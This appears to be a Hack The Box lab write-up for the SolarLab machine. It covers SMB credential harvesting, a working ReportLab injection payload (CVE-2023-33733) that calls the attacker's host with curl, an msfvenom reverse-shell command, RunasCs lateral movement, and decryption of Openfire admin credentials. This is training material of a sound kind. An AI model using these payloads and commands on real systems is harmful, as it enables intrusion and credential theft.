[HTB] SolarLab Writeup
Enumeration⌗
IP: 10.10.11.16
Let’s find open ports using rustscan
and enumerate those open ports using nmap
.
> rustscan -a 10.10.11.16 --ulimit 5000
....
Open 10.10.11.16:80
Open 10.10.11.16:135
Open 10.10.11.16:139
Open 10.10.11.16:445
Open 10.10.11.16:6791
....
> nmap -A -v -p 80,135,139,445,6791 10.10.11.16
....
PORT STATE SERVICE VERSION
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.24.0
|_http-title: SolarLab Instant Messenger
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -5m12s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-05-15T09:16:44
|_ start_date: N/A
....
So we have port 80,135,139,445,6791
. Two http server 80,6791
Add solarlab.htb
and report.solarlab.htb
to our /etc/hosts
.
HTTP⌗
We have a static page at solarlab.htb
port 80
Login page at http://solarlab.htb:6791
After trying various injections and we seem unable to get a foothold and require valid credentials for access.
Shift our focus to other ports.
SMB⌗
We can enumerate and list the smb shares with anonymous access.
Using netexec
to enumerate further. We have READ
on Documents
and IPC$
.
Connecting to the smb share we have interesting files. Download the files and analyse them.
The files that we have downloaded.
> ls
details-file.xlsx
old_leave_request_form.docx
Training-Request-Form.docx
Travel-Request-Sample.docx
We obtained nothing much from the .docx
files but the details-file.xlsx
excel file contains usernames and passwords.
Extract the usernames and passwords from the file.
Do the same with passwords.
Let’s test the usernames and passwords against the smb server and report.solarlab.htb:6791
.
Since our usernames list did not yield any result, we tried to rid-brute
using netexec
and got a similar user. blake
.
Now test blake
with the passwords.txt
.
So we have found the right credential for user blake
.
Now let’s try it on the login page.
report.solarlab.htb:6791⌗
On using the credential blake:ThisCanB3typedeasily1@
we have user not found
. So our username is not valid. We can use this error to enumerate for the right user.
Let’s create a username from possible users from the company.
Since Blake Byte
is the developer and we already have his smb credentials. Let’s start off with him.
We use username-anarchy
to generate usernames and then use burp intruder
to check for existing usernames.
> username-anarchy Blake Byte
....
Now we use blakeb
and our password: blakeb:ThisCanB3typedeasily1@
to login to the report page.
Now we navigate to leaveRequest
page.
Input data into the fields and generate.
Upon inspecting the output.pdf
file we know that it is generated by reportlab.
On searching the web we find that there is POC and CVE for the pdf library. CVE-2023-33733
Our POC
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('cat /etc/passwd') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
Trying to inject the payload into the Justification
we get character exceeded error.
Same error even when we try to bypass it with burp.
Injecting in other field Contact Phone Number
, we get a 500 internal error.
Using curl as the payload and running an http server in our host, we get a connection request.
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('curl http://10.10.16.18:8090') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
Since we are dealing with a windows server, let’s craft a powershell payload to get reverse shell.
Use revshellto generate a reverse shell.
We now have user on the system. C:\Users\blake\Desktop\user.txt
Blake⌗
After gaining access to user blake, we enumerate further into the system.
There exists another user openfire
. We can try switching to that user to enumerate further.
In C:\Users\blake\Documents\app\instances\users.db
we can get credentials for other users.
Download the users.db
file and open it.
INSERT INTO user VALUES(1,'blakeb','ThiscanB3typedeasily1@');
INSERT INTO user VALUES(1,'claudias','07poiuytrewq');
INSERT INTO user VALUES(1,'blakeb','HotP!fireguard');
There is HotP!fireguard
password for alexanderk and we can try those passwords for the user openfire
. We also upload RunasCs.exe
which can help us run commands as another user once we obtain the credentials.
> msfvenom -p windows/shell_reverse_tcp LPORT=1447 LHOST=10.10.16.18 -f exe -o rev.exe
> curl http://10.10.16.18/RunasCs.exe -o RunasCs.exe
> curl http://10.10.16.18/rev.exe -o RunasCs.exe
> .\RunasCs.exe openfire HotP!fireguard "C:\tmp\rev.exe"
We now have reverse shell as openfire user.
Navigate to C:\Program Files\Openfire\embedded-db\openfire.script
and download it and save it to our host.
...
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
....
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
....
We have extracted the password and password key. Now let’s decrypt it using a tool openfire-decrypt
We now have credentials for administrator:ThisPasswordShouldDo!@
Now that we have credentials for administrator we can follow our previous method
> .\RunasCs.exe administrator 'ThisPasswordShouldDo!@' "C:\tmp\rev.exe"
PS: Close our previous session and use our original shell obtained from netcat using the report.solarlab.htb
We now have admin.